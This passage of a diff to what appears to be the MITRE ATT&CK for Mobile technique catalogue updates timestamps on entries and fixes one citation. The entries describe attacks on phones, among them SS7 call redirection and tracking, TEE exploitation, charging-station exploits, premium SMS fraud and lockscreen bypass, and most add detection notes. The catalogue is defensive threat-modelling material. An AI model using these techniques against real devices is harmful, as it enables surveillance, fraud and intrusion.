             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:06.524Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit SS7 to Redirect Phone Calls/SMS",
-            "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in  (Citation: Engel-SS7),  (Citation: Engel-SS7)-2008,  (Citation: 3GPP-Security),  (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC)  (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
+            "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in  (Citation: Engel-SS7),  (Citation: Engel-SS7)-2008,  (Citation: 3GPP-Security),  (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC)  (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-mobile-attack",
@@ -1308,10 +1309,6 @@
                     "source_name": "CSRIC5-WG10-FinalReport",
                     "description": "Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.",
                     "url": "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
-                },
-                {
-                    "source_name": "CSRIC-WG1-FinalReport",
-                    "description": "CSRIC-WG1-FinalReport"
                 }
             ],
             "object_marking_refs": [
@@ -1330,7 +1327,7 @@
             "id": "attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:09.864Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit SS7 to Track Device Location",
             "description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in  (Citation: Engel-SS7),  (Citation: Engel-SS7)-2008,  (Citation: 3GPP-Security) and  (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC)  (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1391,7 +1388,7 @@
             "id": "attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:22.716Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit TEE Vulnerability",
             "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -1451,7 +1448,7 @@
             "id": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:23.233Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit via Charging Station or PC",
             "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.\n\nKrebs described this technique in  (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1503,7 +1500,7 @@
             "id": "attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:28.786Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fake Developer Accounts",
             "description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in  (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1540,7 +1537,7 @@
             "id": "attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.965Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File and Directory Discovery",
             "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -1571,7 +1568,7 @@
             "id": "attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:18.937Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Generate Fraudulent Advertising Revenue",
             "description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1603,7 +1600,7 @@
             "id": "attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:30.462Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Insecure Third-Party Libraries",
             "description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1650,7 +1647,7 @@
             "id": "attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:25.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Jamming or Denial of Service",
             "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1711,7 +1708,7 @@
             "id": "attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:32.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Local Network Configuration Discovery",
             "description": "On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android  (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -1752,7 +1749,7 @@
             "id": "attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:33.574Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Local Network Connections Discovery",
             "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -1788,7 +1785,7 @@
             "id": "attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:12.267Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Location Tracking",
             "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1825,7 +1822,7 @@
             "id": "attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:17.886Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lock User Out of Device",
             "description": "An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1867,7 +1864,7 @@
             "id": "attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:24.488Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lockscreen Bypass",
             "description": "Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1909,7 +1906,7 @@
             "id": "attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:19.682Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Media Content",
             "description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1951,7 +1948,7 @@
             "id": "attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:08.155Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious SMS Message",
             "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in  (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in  (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1993,7 +1990,7 @@
             "id": "attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:24.905Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Software Development Tools",
             "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2030,7 +2027,7 @@
             "id": "attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:27.660Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Third Party Keyboard App",
             "description": "A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.\n\nBoth iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2071,7 +2068,7 @@
             "id": "attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:06.822Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Web Content",
             "description": "Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2108,7 +2105,7 @@
             "id": "attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:09.446Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious or Vulnerable Built-in Device Functionality",
             "description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2140,7 +2137,7 @@
             "id": "attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:07.460Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Manipulate App Store Rankings or Ratings",
             "description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2172,7 +2169,7 @@
             "id": "attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:25.322Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Manipulate Device Communication",
             "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2214,7 +2211,7 @@
             "id": "attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:12.913Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Microphone or Camera Recordings",
             "description": "An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2251,7 +2248,7 @@
             "id": "attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:31.294Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify OS Kernel or Boot Partition",
             "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.\n\nDetection: The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nSamsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered \"if a non-Knox kernel has been loaded on the device\" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nMany enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2307,7 +2304,7 @@
             "id": "attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:30.890Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify System Partition",
             "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.\n\nDetection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.\n\nThe Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.\n\nSamsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2358,7 +2355,7 @@
             "id": "attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:18.583Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Trusted Execution Environment",
             "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.\n\nThomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).\n\nDetection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -2408,7 +2405,7 @@
             "id": "attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:29.092Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify cached executable code",
             "description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.\n\nSabanal describes the potential use of this technique in  (Citation: Sabanal-ART).\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -2444,7 +2441,7 @@
             "id": "attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:26.890Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Service Scanning",
             "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2476,7 +2473,7 @@
             "id": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:14.982Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Traffic Capture or Redirection",
             "description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.\n\nDetection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2517,7 +2514,7 @@
             "id": "attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:32.328Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscated or Encrypted Payload",
             "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in  (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2574,7 +2571,7 @@
             "id": "attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:18.237Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain Device Cloud Backups",
             "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB).\n\nDetection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2621,7 +2618,7 @@
             "id": "attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:09.082Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Premium SMS Toll Fraud",
             "description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in  (Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).\n\nDetection: As described in Google's Android Security 2014 Year in Review Report  (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.\n\nOn Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -2662,7 +2659,7 @@
             "id": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:33.926Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Discovery",
             "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel's <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -2698,7 +2695,7 @@
             "id": "attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:34.830Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remotely Install Application",
             "description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in  (Citation: Oberheide-RemoteInstall),  (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -2744,7 +2741,7 @@
             "id": "attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remotely Track Device Without Authorization",
             "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.\n\nDetection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2786,7 +2783,7 @@
             "id": "attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:07.827Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remotely Wipe Data Without Authorization",
